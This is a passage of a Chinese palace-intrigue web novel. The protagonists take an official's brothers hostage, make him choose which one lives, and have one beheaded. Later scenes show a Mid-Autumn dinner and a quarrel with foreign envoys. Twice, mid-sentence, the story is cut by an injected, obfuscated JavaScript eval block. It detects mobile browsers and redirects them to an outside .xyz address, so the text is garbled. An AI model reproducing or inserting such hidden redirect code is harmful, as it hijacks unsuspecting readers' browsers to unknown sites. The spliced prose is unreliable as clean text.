得到裴令仪和元韫浓的命令,裴九和小满在夜深人静时潜入张府和倚红楼,挟持了张开华的二弟和三弟。 裴令仪和元韫浓甚至耐心等到张开华找过来。 裴七去传的信,只要张开华一个人来,不然两个全杀了。 张开华得知消息的时候简直不可置信,外衣都没披上一件就跌跌撞撞跑来了。 他不敢想裴令仪和元韫浓二人居然能疯成这样。 江水澄澄江月明,僻静昏暗处,灯火所照耀不到的地方,好戏开场。 裴九和小满一边一个,挟持着张家二弟和三弟,把刀架在他们脖子上。 裴令仪和元韫浓还有闲情逸致,斜倚在江边扶栏上,静候张开华。 一见张开华来,那两个弟弟总算是找到了主心骨,忙喊着大哥哭诉。 尤其是三弟,一把鼻涕一把泪的,哭得好不凄惨。 他本就软弱,更是从小到大被大哥护着,没吃过什么苦,哪里见过这种阵仗。 原本正在倚红楼里醉生梦死,听歌姬小曲柔情似水,看舞姬舞姿曼妙动人,好不快活。 谁知道这一小会,刀就架在脖子上了,命就在别人手里了。 “大哥救我!”他凄惨地哭道。 他年纪最小,跟张开华长子都差不了几岁,张开华是把他当成儿子养大的。 这下张开华一见俩弟弟这般狼狈,气得要命,“裴清都,元应怜!你们二人得了失心疯不成吗?” “天子脚下,皇城之内!你们居然敢擅闯当朝官员府邸,私自缉拿,挟持官员和家眷!”他气得手抖。 元韫浓哎呀了一声,惊奇地看向张开华,拿着扇面遮掩了一下嘴唇,“张大人在说什么?我怎么听不懂呢?” “阿姊,张大人说我们挟持官员和其家眷。”裴令仪好心地重复。 “哦,这样啊——”元韫浓状似苦恼地思考,又盈盈一笑,“谁瞧见了?” “你!”张开华气不打一处来。 “好害怕呀,这样的歹人在何处呢?京城治安何时如此不好了呀?”元韫浓貌似很害怕的模样。 她手持山雀桃花团扇,往裴令仪身后藏了藏,“我必然要叫阿兄好好地搜查一番,看看那歹人藏在何处,又是藏了什么坏心思。” 张开华这才想起来,元彻回是中郎将。 若是被逮到了,元韫浓也是被元彻回逮到的。 元彻回不可能真把自己亲妹妹扭送进大牢。 “再说了,这里有谁瞧见了,是我们要害你呢?张大人这话可不能乱说的呀。”元韫浓无辜地眨了眨眼。 元韫浓偏过头问裴令仪:“清都,你瞧见了吗?” 裴令仪配合地四处张望了一下,认真地回答:“阿姊,我没瞧见。” 张开华怒火攻心,险些呕出一口老血,“我就瞧见了!” “哦,原来是张大人自己瞧见了呀。”元韫浓看过来,嫣然一笑,“那没用。” 张开华压抑下火气和慌张,安抚了自己弟弟两句,冷静下来,“你们到底想要做什么?” 他自说自话地开条件:“若是为了城西巫女那事,我可以答应你们,往后不再叫人煽风点火,也要那些谣言彻底消失。” 第23章 重蹈覆辙 裴令仪望向元韫浓,他觉得元韫浓会笑。 元韫浓果然笑了,还笑出了声:“谁跟你这么说了?” 她笑歪在扶栏边,“张大人,你是不是也太得意了些?就为了这点谣言,我至于如此吗?” 裴令仪扶了她一把,免得她笑得太过,从扶栏边摔下江水里头去。 “那你们是为了什么?”张开华怒问。 他莫名有了种被戏耍的恼羞成怒,这两人这样笑嘻嘻的态度,更让他来气。 “为了什么?”元韫浓歪了一下头,“当然是因为好玩啊。” “你们两个疯子!大费周章绑人到这里,还要我单独来见,就是为了好玩?”张开华恨不得现在就冲上去撕烂元韫浓那张笑脸。 元韫浓敛了笑,“不然你以为呢?” “这样吧,张大人,废话不多说。”元韫浓语气轻柔,“这两个弟弟,你选一个吧。” 张开华难以置信,“你说什么?” “张大人年纪也没多大,怎么耳力先不好了呢?”裴令仪道,“我阿姊说,这两个弟弟你选一个带走,另一个我们就杀了。” 他轻描淡写的语气让张开华甚至怀疑自己听错了。 元韫浓在江边等了张开华一段时间,夏日闷热,本该是贪凉的时候,可她受了点风变咳嗽。 “咳咳……”元韫浓拿绢面的团扇掩唇咳嗽两声。 裴令仪将外裳脱下,罩在元韫浓的肩膀上。 “你们二人,逼兄杀弟,有违人伦,狠心之至,必然不会有什么好结果!”张开华恨声骂道。 元韫浓微笑着嘲讽:“你为了铲除异己,借着巫女的名头杀了那么多人,其中有多少无辜的女子呢?你可真是心慈手软啊。” “张大人,快些选吧,拖时间是没有用的。再迟疑,可就两个都杀了。”她叹气。 张开华还想着周旋片刻,拖延时间。 裴令仪却看出他所想,“夜晚风大,在江水边凉,别冷到阿姊了。” 他伸出三根手指,唇角挂着笑,“三息,张大人再不选,三息之内,我就全杀了。” 一点一滴的时间流逝都在此刻显得焦灼,更遑论裴令仪说完那句话后,两个弟弟挣扎着哀求哥哥救自己。 谁都不想死。 张开华在这种情境下险些被逼疯,最终还是喊了出来:“三弟!救我三弟!” 三弟欣喜若狂,而二弟愣愣地看着张开华,没了声音。 “原来你是真的不在意我,你就是偏心他!”二弟红着眼吼道。 张开华在原地佝偻着身子,一动不动,无颜面对二弟。 元韫浓唇边笑意加深,同裴令仪对视一眼,稍稍扬眉。 你瞧,还是我赢了。 裴令仪一耸肩膀,一副愿赌服输的模样。 “你听见了吗?”元韫浓柔声对着二弟说道,“你的大哥想要你死呢。” 然后,小满一刀剁下了三弟的头。 裴令仪伸手遮住了元韫浓的眼睛。 元韫浓的睫毛不轻不重地扫过裴令仪的掌心,像是细软的小羽毛一样,有些痒。 裴令仪自己的睫毛也颤抖了一下,平静地看着满地的血和滚落的人头。 二弟瘫坐在地上,而张开华爆发出类似于嘶吼的哭喊声。 “我们走。”元韫浓轻声道。 “好。”裴令仪揽着她的肩膀,转身进入夜幕之中。 裴九和小满手持刀刃,边紧盯着张开华和二弟,边往后退。 确认二人没有异动之后,便转身快步跟随上主子的步伐。 四人的身影消失在朗月之下。 前世元韫浓被裴令仪拉着看了那么多枭首示众的场面之后,再加上久居权位,断人生死,早已经没那么怕了。 但裴令仪遮住她眼睛,她也不会辜负这番好意。 裴令仪说:“如此一来,他们兄弟二人就算是为了家族重修于好,也断不可能破镜重圆了。” “那是自然。”元韫浓弯了弯唇,“我想,怕是连维持表面上的和乐,也难做到了。日后怕是同在一屋檐下遇见,也只会匆匆而过吧。” “阿姊猜得很准,张开华果然更喜爱他三弟。”裴令仪点头。 元韫浓道:“张开华三弟是白丁,二人当中杀他,省事许多。我想张开华会选三弟活,恰好杀的就是他选的那个,离间活下来的那个。” 毕竟二弟有官职在身,三弟就不一样了,一介白丁,杀了还能用她郡主的身份盖过去。 坐上回府的车马,元韫浓脱下外裳还给裴令仪。 “张开华会去惠帝面前状告阿姊吗?”裴令仪问。 “知道告了也没用,还没有证据,更会被我那好阿舅看不顺眼,他才没蠢到那程度。”元韫浓摇头。 裴令仪隐隐担忧,“只是如此一遭,张家打击报复必然会加倍。” “本就是不死不休了,还差这会吗?”元韫浓笑。 她拢了拢耳边垂落的发丝,“城西那边,我会去解决,被这巫女之祸牵连者,着实可怜,着实无辜。至于那些嚼我舌根的……” “拔了他们舌头?”裴令仪用询问的目光看向元韫浓。 元韫浓笑:“不就是用这妖孽之名的谣言吗?待我派人去传,说是宫中西面有妖孽,宫中正中也有妖孽。哦,还有,城西也有妖孽,城东城北都有。” 宫西是慈宁宫的太后,中宫则是皇后的凤仪宫。 城西正是张家,而城东有齐家白家,吕家则是在城北。 “那么多妖孽,我倒要瞧瞧他们届时怎么捉得过来。”她道。 “阿姊好谋算。”裴令仪温声夸奖。 元韫浓心情愉悦,“说得好,虽是同那几家是仇敌了,但他们也不是什么内部团结的。三皇子和五皇子的阵营,本就是互相敌视。” 裴令仪略一颔首,“他们根本经不起挑拨离间,很快就会分崩离析。” “太后和皇后不会允许张家好过的。”元韫浓说。 太子之争,本就如此,不是你死我活,就是有第三者渔翁得利。 齐家和张家都希望出个皇帝,但凡是对面的皇子登上了皇位,对他们家族而言都是灭顶之灾。 就算是为了自己的脑袋,他们也会使出浑身解数要对方死。 元韫浓不紧不慢地拿指尖叩了叩扇柄,“就如今这架势,断然是不可能叫慕载物登上皇位了,元氏得支持三表哥了。” 裴令仪眸色渐深,“可若是三皇子登基,他身后的太后和皇后,还有齐家和白家怎么办?” “我兄姐都支持三皇子,如今这局面,也不可能再两头下注了,跟张家已然是不死不休。”元韫浓思索。 裴令仪说:“若三皇子并非明主,那又当如何?有太后和皇后在背后挑唆,哪日飞鸟尽,可会良弓藏?” “所以我想着,怕是得走另一条路了。”元韫浓说。 “阿姊是想扶持第三位皇子吗?”裴令仪关注着元韫浓的神色,“可宫中,也没什么合适的皇子了。” 惠帝长大子嗣本就不多,成人的皇子就更少了。 这或许还是太后和皇后的手段,毕竟他们想着下一个皇子得是齐家的孩子。 惠帝前面的两个孩子——大皇子和二皇子,不是溺水早夭,就是莫名其妙地突然大彻大悟,连夜剃度遁入空门了。 后头才是好不容易降生了一个慕湖舟。 然后的四皇子又是个病秧子,生下来病恹恹的,跟个小猫似的,连声都小得很。 撑了十八日,便驾鹤西去了。 最后才是五皇子慕载物,这是惠帝好不容易才得了个第二个皇子,自然是喜爱得很,不然慕载物也不会如此无法无天。 慕载物的诞生叫皇后恨得不行,这场斗争从慕湖舟和慕载物很小时就已经展开了。 直到现在,宫里也才三个皇子。 最小的六皇子非常的年幼,跟慕湖舟和慕载物都差了十几岁,在皇储争夺方面根本毫无可言的威胁。 “所以我想的,是别的。”元韫浓笑而不语。 她暂时没有把她完全的谋算告知裴令仪。 裴令仪沉默了。 元韫浓转而道:“但今日还是我赢了赌约,你可不准赖账。” “不会。”裴令仪问,“那阿姊可想好了要什么?” 元韫浓抬起手,微凉的手指抚上他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476447|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸颊,像是在摸索什么。 从他的眼睑下,再摸到脸上的伤疤。 “我希望你能……”元韫浓张了张嘴。 接下来要说什么? 裴令仪望着元韫浓,些许怔忡。 或许元韫浓说了什么,或许什么都没说。 裴令仪不知道自己是走了神没听清,还是元韫浓的确没有说出下面的话。 “什么?”裴令仪回过神。 “没什么。”元韫浓笑了笑,转过了头撩起车帘,望向车外。 她漫不经心道:“快要到了。” 裴令仪认真道:“不管阿姊说了什么,我都会答应。” 元韫浓沉默片刻,笑了笑,“好。” 她说,希望裴令仪不要重蹈覆辙。 他们是同一类人,走下去只会重蹈覆辙。 这样就很好,就继续这样下去,就很好。 元韫浓垂着眼帘,如是心想。 * 夏日是短暂的,尤其是这一年。 元韫浓的经商之道早已经在上一世得到了磨炼,掌管起如今的商务来说,也是得心应手。 偶尔会遇到点小麻烦,也能轻易解决掉。 几个仇家偶尔也会给她使绊子,元韫浓便投入到互相给对方使绊子的斗争之中。 昨日对面能故意派人装顾客出了问题,来铺子里大闹,今日元韫浓就能派人装成山匪去劫掠对面的商队。 两边的水火不容之事从族中商行再到朝堂庙宇,今日你参我,明日我参你。 恰好这是惠帝最乐意看见的事情。 他巴不得两家外戚斗得你死我活,让他坐享其成,纵横谋划,平衡其中。 太后不高兴看见元韫浓,但皇后却隔三岔五召元韫浓进宫去。 名义上是要见见元韫浓,让元韫浓陪她,实际上是磋磨。 大多数时候白翩飞都在,她进宫的时候都快要超过元韫浓了。 皇后就会和白翩飞你来我往地谈笑风生,状似亲昵,把元韫浓晾在一旁,偶尔还会阴阳怪气地刺元韫浓几句。 这对于元韫浓而言根本无关痛痒,只是有些烦罢了。 惠贞长公主或是慕水妃总会恰到好处地适时出现,把元韫浓捎走。 元韫浓需要扮演的角色,只是无人搭理又被皇后嫌恶的小可怜罢了。 只是她很少看见慕湖舟了,慕湖舟也没来找过她。 极少数时候,元韫浓会在凤仪宫碰上慕湖舟。 但慕湖舟总是行色匆匆,仿佛心事重重,只是瞥了一眼元韫浓,便向皇后匆忙告退。 礼数上没出问题,但是直觉上元韫浓觉得出了问题。 不过皇后倒是对慕湖舟这种反应极其满意。 元韫浓总觉得慕湖舟是在刻意避着她,想要找人问清楚,却也没找到机会。 而且她忙得脚不沾地,竟然也没有抽出空暇来。 而裴令仪的苦肉计很管用,他本就是擅长收买人心的,在国公府已然是如鱼得水。 那盒珍贵血竭入药的药膏逐渐见底,而裴令仪脸颊上的疤痕也渐渐淡去,就像是岐国公府之人对他的成见那样。 想来不日之后,那几道疤就会彻底消失不见。 除了元彻回和元云和以外,在岐国公府里,几乎是默认了他义子这个身份,把他当成了自己人。 元彻回不喜欢裴令仪,元韫浓尚能理解。 不过自己向来深居简出,性子平和的大姐居然是唯二不喜欢裴令仪的人,元韫浓倒是很意外了。 毕竟最为挑剔的惠贞长公主都接纳了裴令仪。 秋日天气已然转凉,中秋佳节已近,四处已经开始置办起来了。 等到中秋节这一日,祭拜月亮之后,家中热热闹闹地办置了一场宴席。 元蕴英提议,全家出去观花灯赏月。 岐国公自然知道她是闲不住,想要出去野,但是还是答应了。 元云和笑着推辞不去,其他人也没有强求。 今日这种佳节,京华之中人来人往,流动极大,元彻回身为中郎将还要继续忙的,也就是吃个团圆饭。 所以去观花灯赏月的,只有岐国公和惠贞长公主,还有就是元韫浓和裴令仪。 第24章 天道忌盈 元韫浓不想打搅自家爹娘,找了个时机便拉着裴令仪,说是约了郑女幼看花灯,便溜走了。 惠贞长公主对着她背影喊:“街上人多,你仔细着些,早些回家啊。” “知道了阿娘!”元韫浓头也没回。 岐国公无奈摇头,“这丫头。” 长街喧阗,枝叶徙靡,花灯各式各样,看得人眼花缭乱。 醉仙楼今日热闹非凡,飞檐斗拱上悬挂的铜铃随风轻摇,发出清脆声响。 郑女幼早早地在醉仙楼订了雅间,等候元韫浓来。 她等得不耐烦了,就带小鬟在醉仙楼下等,望眼欲穿。 见元韫浓带着裴令仪来,她还撇了撇嘴,“他怎么也在啊?我还以为就我和你,聊些姐妹私话呢。” “这有什么的,清都在你就有话不能说了吗?”元韫浓上前勾了一下郑女幼的耳坠调笑,“怎么还跑下来等我了?” 虽然也不至于说多冷,但秋夜凉,露水重,也易着凉。 “我可不像你,一下子就病倒了,我身体可健康着呢。”郑女幼笑,“我等你那可是望穿秋水,可你一直不来,我只好跑下楼等你来了。” “哦——”元韫浓拖长了调子。 她作势去勾郑女幼的下巴,“那我可不能辜负了美娇娘,不能叫她等我等到红颜半老白发新了。” 郑女幼笑着躲,“少打趣我了。” 她又眼尖地瞥到元韫浓耳垂上的新月耳坠,眼睛一亮,“这是新的耳坠吗?你让人新打的?” 她凑过去仔细看,样式玲珑可爱的弯月耳坠,随着元韫浓侧过脸的动作摇晃。 衬得元韫浓愈发面色雪白,眸若秋水,犹如明月白露一般。 “唔,好看是好看……”郑女幼含糊不清地评价,“但那是因为你脸好看吧?荆钗布裙你穿了也好看啊。” “怎么买了个月牙?”她问,“中秋佳节,人家都求个团团美美,你倒好,戴个新月出来了。” 裴令仪的身形僵硬在原地。 元韫浓说道:“天道忌盈,事事留余尽,则造物不能忌我,鬼神不能损我。” 她看了一眼裴令仪,“知我命薄,这是赠我之人替我着想,留了一线余地呢。” “原来有这个寓意的。”郑女幼点头。 “可不是吗?”元韫浓说。 郑女幼将元韫浓的耳坠拢在指掌间,咦了一声:“我的好四娘啊,你可莫不是被人骗了吧?” 元韫浓扬眉,“这又是怎么个说法?” “这耳坠瞧着可不是什么宝玉,是个不值铜钱的劣质白玛瑙。赠你之人,可见是个嘴甜心苦的家伙。”郑女幼道。 裴令仪的手臂僵硬地垂在身侧,手掌不自觉地攥成拳头,指节因为用力而泛白。 他目光有些空洞地凝视着地面,像是在看自己的脚尖。 郑女幼再仔细看看,又哦了一声:“那好像也夸张了些,这白玛瑙瞧着倒也没那么不值钱,能算几十两吧?胜在款式了,瞧着像那些公子哥会拿来哄人的。” 元韫浓轻叹一声:“玛瑙便玛瑙吧。” 裴令仪有些麻木地抬起头望向元韫浓,“阿姊?” 元韫浓牵起他的手,目光平静地看着前边,“千金难买我高兴呢。” “我都饿了,快些上楼吧。”元韫浓对郑女幼道。 郑女幼这才想起来,走到前边,“也是,快来吧,每逢佳节这醉仙楼的席面可难订了呢。” “那是自然,京华最好的两家酒楼不就醉仙楼和近水楼台吗?”元韫浓笑,“近水楼台在金明池边上,就醉仙楼在京华中心,求路近的可不就都来了吗?” 金明池集军事演练、皇家游宴和百姓观赏为一体,位置不在京城中心。 因此近水楼台也离得远些。 两家因为方向不同,所以平日里通常是相安无事的。 元韫浓想想都知道这两家酒楼多赚钱,整得她也动了脑筋。 郑女幼应和:“那是啊,而且今日这一带全是花灯。我订这席面可不容易,提前了两个月派人来订的。” 裴令仪跟随元韫浓往前走,上了三楼转角时,轻声道:“阿姊,我不是故意买品质不好的白玛瑙的……” “我知道。”元韫浓平静地打断他,“其实那白玛瑙品质还行,价钱也不低吧?只是女幼见惯了好东西,才瞧不上罢了。” 郑女幼既然瞧不上,那在身为郡主的元韫浓眼里,自然也是瞧不上的品质。 裴令仪见过元韫浓的妆匣,琳琅满目的金玉首饰。 像是他送的这种价值的,大抵是戴过一次就会被压箱底永不启用的程度。 那对耳坠从买来材料和打磨,裴令仪花了百两的银子。 元韫浓知道裴令仪当然不会是故意的了,这必然是裴令仪能买到的最好的。 毕竟他这个清河王是空有头衔,没有实权。 惠帝既不让他回清河王府,也不让他继承裴氏部曲,也不发他月俸。 他现在每月领的月例,还是国公府按照公子小姐们的标准给他的。 每月不过二十两,他在国公府才待了一年不到,加上自己的吃穿用度,攒下这点实属不易。 毕竟他先前过得着实可怜,吃不饱,穿不暖。 囊中羞涩到这种程度,还辛苦攒了那么久的钱给自己买了中秋节礼物,元韫浓觉得裴令仪有真这份心便足矣。 再说了,这礼物元韫浓很喜欢。 她喜好奢靡,但也不是不喜欢这些小小意趣。 裴令仪犯不着为了这点事情自卑。 裴令仪却抿了抿唇,“我日后,会买更好的。” “这个我就挺喜欢的。”元韫浓并没有放在心上。 一行人走到雅间前面,却碰上了另一行人。 面面相觑,一片寂静。 对面温婉端庄的少女身后,站着两个男子。 一个星眉剑目,轮廓分明,许是方才从演武场上下来,眉宇间还有薄汗,身着狩衣,精神峻秀。 一个身着华服,胸前金丝绣有瑞兽,风度翩翩,仪范伟丽。 裴令仪面无表情地看着前边的慕水妃、沈川和慕湖舟一行人,心想:真不巧。 元韫浓也有些意外,笑道:“真巧。” 慕水妃略显诧异,“韫浓妹妹……” “早前约你今日出来小聚,却推脱说是早早地约好了,还想是谁呢,原来在这里。”沈川笑着打趣。 “这不正是缘分吗?还是遇到了,怎么都是团圆。”慕水妃提议道,“要不要一起吃呀?” 元韫浓看向郑女幼,“你怎么看?” 郑女幼悄悄往隔壁间瞥了一眼,发现他们订的雅间更大,于是欣然同意:“好啊。” “阿姊,我瞧三皇子像是有忙事呢。”裴令仪温声道,“三皇子,是这样吗?” 慕湖舟有些心不在焉,避开元韫浓望来的视线,“确实是……” 元韫浓今日一身鹅黄高腰襦裙,一双团金绣鞋,轻柔似云霞的披褂。 眼角眉梢藏秀气,顾盼生辉,灵蕴盎然。 犹如蟾宫折桂的仙子般。 即使是慕湖舟不去看元韫浓,元韫浓也像是本身就会散发出光辉一般。 沈川却笑:“哪儿的事情?三皇子今日可是闲人,况且他同韫浓也是有阵子没见了。” 话都说到这份上了,慕湖舟只好说:“……也没什么忙事。” 六人便这样一起坐下吃饭。 桌上珍馐美馔,上来的菜多数也都是元韫浓平日里愿意多吃几口的,也不知道到底是桌上哪位的意思。 小二端上一道浑羊殁忽。 这菜是指外皮烤得金黄油亮,滋滋冒油的羊,羊腹中填了只鹅,鹅腹中又填满了精心烹制的糯米饭,吸收了油脂与肉香,拌着香菇火腿红枣什么的,五味调和,口感丰富。 这道菜原本只有王孙贵胄才吃,也只有这些人吃得起。 看来这醉仙楼背后之人,也不简单呐。 “这菜样在宫里头也是少见的,韫浓快些尝尝合不合口味?”慕水妃笑着说道。 她说着就唰唰唰夹了一堆到元韫浓碗里,堆起尖。 元韫浓欲言又止。 裴令仪将自己的碗和元韫浓换了一下,微微皱眉,“阿姊吃不了这么多的。” 吃多了难消食,元韫浓体弱,脾胃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15476448|169973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不和,哪里能吃这些? 元韫浓笑而不语。 这走向也不错,裴令仪已经开始了,见不得慕水妃待旁人好而忽视他。 虽然目前她自己的计划有所变化,目标转向慕湖舟了。 但是裴令仪还是可以同慕水妃一块的。 “那韫浓可有什么喜欢吃的?我再叫人上。”慕水妃问。 元韫浓一时间还真想不起来。 她嘴挑,但一问又说不出什么喜欢不喜欢。 裴令仪却说:“阿姊喜欢鲜鲫芹菜羹。” 郑女幼对这道菜也赞口不绝:“鲜鲫银丝脍,香芹碧涧羹。” 沈川玩笑:“这菜确实好,便是夏日胃口差,也能来一碗。如今秋高气爽,怕是店家也要供应不求了。” “有钱使得鬼推磨,沈大哥若真心想要吃,派人千金求一菜,传出去也是美事一桩呢。”元韫浓促狭地眨了一下眼睛。 “韫浓妹妹是要我成文人墨客的笑话了。”沈川无奈摇头。 慕湖舟道:“将鲜活的鲫鱼切成银丝煲脍,再用碧水涧旁的香芹熬成羹汤。鲫鱼鲜美,肉质细腻。若是想吃,去买来就是。” 慕水妃一愣,“可这是近水楼台的招牌菜,只他一家有的,这醉仙楼怕是没有。” “确实。”沈川颇为可惜,“也尝过不少旁人家做这菜,都没有那个味道。” 裴令仪暗自勾起唇角。 “我又不是非得吃近水楼台的鲜鲫芹菜羹,清都随口一提罢了。”元韫浓叹气,“我爱吃清风饭,吃这个也行。” 沈川点头,一本正经道:“鲫鱼多刺,中秋良辰,可别浪费在挑鱼刺上。” 近水楼台的鲜鲫芹菜羹哪来的鱼刺,早就被剃干净了,沈川只是开个玩笑。 裴令仪却不冷不热道:“鲫鱼哪有鲥鱼多刺?” “鲥鱼味道也美,只恨鲥鱼多刺啊。”元韫浓又叹气。 慕水妃被逗乐了,“吃个饭而已,怎么恨上鲥鱼多刺了?” 她又问元韫浓:“这天气也没那么热,热菜还没吃几口呢,就吃清风饭,会不会伤了脾胃?” 清风饭是水晶饭加了龙脑末,又加以冰镇,都是消暑来吃。 清凉细腻,香甜淡雅。 味道是好,就是如今已是秋日了,天气渐冷,她唯恐元韫浓吃了伤身。 裴令仪皱了皱眉。 他本还想劝元韫浓两句,天气转凉了,还是别贪凉吃清风饭了,但又怕扰了元韫浓兴致。 元韫浓在国公府想吃了也吃不着,惠贞长公主这种时候都盯着她,生怕她又病倒了。 好不容易到外面了,自然要吃。 “水妃姐姐,我就尝一点点,解个馋而已。”元韫浓晃了晃慕水妃的手。 慕水妃马上就答应了。 “快快去叫人做来。”慕水妃忙让人去做。 裴令仪叹了口气,慕水妃是指望不上了。 清风饭被端上来,糯米晶莹剔透,被点缀着碎松子和果子,又淋了浆酪。 裴令仪立即替元韫浓盛好了分量端过来,递到元韫浓手上。 多吃几口是不行了,元韫浓瞪了他一眼。 裴令仪低头,假装浑然未觉。 郑女幼倒是吃得挺开心的,端起酒杯浅酌一口:“醉仙楼的厨艺在京城堪称一绝,不虚此行。” “除了近水楼台,京城也没有酒楼能与它有一较高低之力了。”慕水妃赞同。 几人谈笑。 沈川正奇怪自己好友今日怎么如此安静,问:“三皇子今日话怎么如此少?可是处理公事累着了?” 慕湖舟笑容有些勉强,“无碍,只是有些走神罢了。” “中秋节走神?那可得自罚了。”沈川打趣。 原本只是随口一说而已,但慕湖舟却真倒了酒,自罚一杯。 可见慕湖舟是真不在状态了。 元韫浓眸色渐深,看着慕湖舟,“劳烦表哥替我取一下那头的五生盘,我够不着。” 五生盘是被切得薄如蝉翼的牛、羊、猪、鹿、熊肉的生肉片,配以材料自行调味。 她不爱吃这种,只是试探慕湖舟反应。 那道菜就在慕湖舟手边。 第25章 ** 慕湖舟却转向沈川,“子谦,劳烦你取一下。” 沈川不明所以。 在沈川张嘴问之前,慕水妃先把五生盘取了过去,“三皇兄最近诸事烦劳,反应都慢了,让姐姐来吧。” 元韫浓岂能不知道慕水妃是在打圆场。 她笑意不达眼底,看着慕湖舟道:“既如此,表哥可得叫太医来瞧瞧,累坏了身子可不好了。” 似乎没有什么改变,饭桌上的氛围依旧和乐融融。 但这场面也没维持多久,不过多时便有人推开了雅间的门。 慕湖舟的侍卫从外头进来,禀报:“三殿下,楼下有人**,还牵扯到了北凉使节。” 众人皆是一惊。 “北凉?”慕湖舟拧眉。 惠帝压不住底下,也把持不住外面的形势。 各方世家蠢蠢欲动,外面曾经的藩国更是虎视眈眈。 尤其是北凉,近些年来兵强马壮,民富国强。 在几年前便宣告天下,说自己不再是南朝的藩国,而是独立的大国。 甚至还抢了几个南朝原本的藩国。 朝堂上下为了出不出兵攻打北凉这件事情吵了半个月,闹得乌烟瘴气。 惠帝咽不下这口气,却又不敢跟北凉硬碰硬,生怕把自己玩成了**之君,只得忍气吞声假装没看见。 他这忍让便开始叫北凉更嚣张了,变本加厉地三番五次挑衅南朝,导致两边的关系愈发紧张。 北凉一直都在稳步发展,可南朝就不一样了,不但停滞不前甚至还在**。 前世大雍更是跟北凉撕扯得你死我活。 裴令仪御驾亲征了好几回,在死前的最后一年里才算是打服了北凉,但也没能彻底灭了它。 之后新帝继位,元韫浓彻底掌权,一直压制北凉,不让其有喘息之力。 原本是打算一点点蚕食鲸吞,温水煮青蛙,迟早一天吞了北凉的。 眼瞅着差不多成功,元韫浓也病**。 元韫浓对于北凉这德性多少也是有点了解的,问:“不是说半月后才来的吗?怎么提早了半月?” “他们并无任何告知,怕是蓄意早进京来谋划什么。”沈川道。 慕水妃没有什么表情,“进京不交国君之书,也不去四夷馆好好待着住,先来酒楼**了。” 郑女幼有些好奇,问那侍卫:“闹了什么事?” 侍卫回道:“北凉使节同底下宾客起了冲突,快打起来了。” 能在今日来醉仙楼的,不是什么富贵人家,也该是什么有声名的文人墨客了。 慕湖舟脸色一沉,站起身来,“我去看看。” 说罢,迈步向门口走去。 既然涉及北凉使节了,他这个三皇子说什么都得去干涉了。 “我与三皇子同去。”沈川也道。 元韫浓道:“我也去看看。” 慕水妃面露犹豫,见元韫浓起身,也跟了上去,“需得小心。” “下边混乱,正闹起来可就什么都顾不上什么了,阿姊一会站后边点。”裴令仪道。 郑女幼见他们都走了,也忙抬脚跟上去,“诶?怎么都走了?等等我。” 一行人匆匆下楼,已是一片混乱。 服饰相貌与众人殊的北凉使节正与几个文人和官宦子弟激烈争吵,相互推搡。 杯盘碗盏散乱一地,其余宾客不是四处避让,就是在旁帮腔。 慕湖舟冷喝一声:“住手!” 众人看向这边,今日醉仙楼这大多非富即贵,有人已经认出来三皇子一行人,纷纷行礼。 “三皇子安,淑慎公主安,朝荣郡主安。” “你就是三皇子?”为首的北凉大使满面怒容,“你们这群南人真是欺人太甚!” “就是!我们不远千里而来,就是为了结与两国之好!这就是你们的待客之道吗?” “我看着两国交好,也全无必要,你们压根看不清我们北凉!” 他身后的几人也一连帮腔。 跟他们起争执的那几个官宦子弟和文人书生,气得脸红脖子粗,“你们信口胡诌!” “分明是你们动手在先,还开口辱骂!” “蛮夷之地,我看你们才是不想结两国之好了呢!” 两边各执一词,慕湖舟皱眉,“此事来龙去脉为何?” 北凉使者率先开口:“我们一行人舟车劳顿,又逢佳节,好不容易歇下脚来好好吃顿饭,你们这里的人却故意撞伙计,洒了我一身饭菜,还不赔罪!” 他指向一个书生。 一个官宦子弟连忙道:“才不是这样!分明是你们的人先撞上庄铭,庄铭才会不小心撞到伙计,撒到你们大人!” 叫庄铭的那个书生脸色发白,但还是道:“三皇子,小生并非有意,可也事出有因!小生也认认真真给几位道了歉了!” 那几个官宦子弟道:“就是,别说是他们的人有错在先,就算真是庄铭之错,不也道了歉吗?” “是他们咄咄逼人,庄铭好声好气跟他们道歉,他们居然张口就要庄铭跪下磕头道歉!” “这分明是他们要挑事!我们不过是看不过去帮腔两句,他便说我们是占着地主身份来仗势欺人!” 简直是群情激奋。 庄铭? 元韫浓听着这名字,皱了皱眉,怎么那么耳熟? 裴令仪在她耳边低声提醒:“是国公门生。” 又跟他们元氏扯上关系了,元韫浓都要怀疑其中有旁人的手笔了。 她叹了口气,问:“既然如此,不是无心之失,就是北凉使者们起的头了。” 北凉这些人之所以不依不饶,就是为了将此事闹大。 南朝如今长久没有外部的仗好打,再加上惠帝不兴兵士操练,军事力量日渐削弱。 边疆防御吃紧,北凉趁势扩张,前些年跟南朝打完之后惨胜,但也不再是藩属国了,在那自己休养生息。 近些年来也内部养得差不多了,是时候把目光放到外头了。 接二连三抢了几个南朝的藩属国,南朝也没有反应,接下来就该更过分地来试探南朝底线了。 这回他们来,必然是要以**来占据上风,再态度强硬,有些不轨举动,最好与南朝官员发生冲突,给南朝的外交和秩序带来一定冲击。 只要南朝继续忍让,他们就能清楚南朝的底气,为北凉的军事行动等继续争取有利条件。 这时候,只能真把此事闹大,叫惠帝定夺,以强硬态度对峙,叫北凉使者无功而返。 